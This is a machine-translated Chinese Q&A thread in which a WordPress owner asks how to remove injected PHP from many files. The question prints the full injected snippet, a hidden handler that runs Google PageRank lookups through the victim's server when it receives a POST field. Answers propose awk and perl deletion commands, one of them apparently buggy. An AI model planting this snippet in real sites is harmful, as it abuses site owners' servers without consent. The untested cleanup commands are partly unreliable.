我有两个wordpress安装,黑客试图将一些php代码注入现有的php文件
没什么大不了的,但是现在我必须从大量子目录中的大约200个文本文件中删除大约20行文本,而对于grep&想弄清楚......
搜索包含以下文本片段的所有* .php文件(包括子目录)的文件夹“hacked wordpress”的命令的语法是什么,然后删除该片段?
<?php
//{{56541616
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
error_reporting($olderrxxx);
}
//}}18420732
?>
答案 0 :(得分:2)
我不会使用sed和grep - 两者都只在线上运行而且不记得之前发生的事情。我经常使用awk。这是大多数awk教程在基础知识之后开始的事情。基本上,您创建三个匹配块,一个匹配开头,一个匹配结束,一个匹配其余。在“打开”和“关闭”中,您可以设置或重置布尔值以跟踪是否打印当前行。在处理其余的行时,您可以根据此布尔值打印或不打印。
此外,请务必记住在运行之前备份文件。你不会是第一个被错字吓到的人。
/startsequence/ { ignoring=true; } /endsequence/ { ignoring=false; } { if (!ignoring) print }
用您自己的有效开始&amp;替换startsequence和endsequence。结束序列。如果这些数字实际上始终存在,请使用它们。我没有检查过这个(因为我现在正在使用无cygwin的Windows机器),但确实认为它有效。灵感来自示例here 编辑:添加了示例
答案 1 :(得分:0)
使用perl;
find "hacked wordpress" -iname \*.php -print |\
xargs perl -0777 -i -pe 's:\s*<\?php\s*//\{\{56541616.*?//\}\}18420732\s*\?>\s*::s;'
这应该从每个.php文件中删除整个片段。
DRY RUN FIRST - 所以请在临时副本上进行测试。
答案 2 :(得分:0)
我没有测试过这个。但我希望这个想法是正确的:
find ./hacked wordpress -name "*.php"|xargs awk '/^<?php/NP=1,/?>$/NP=0{if(NP=0) print}'
答案 3 :(得分:0)
我遇到同样的问题,仍然在寻找修复方法。
看看这个:
http://crystaldawn.net/fix_hack 以及更多信息:http://frazierit.com/blog/?p=103 在这里: How to call php script using html form elements instead of command line?
清理脚本并不完美,似乎删除了一些不应该删除的东西。我没有完善它的技能。如果有人能解决它会很棒!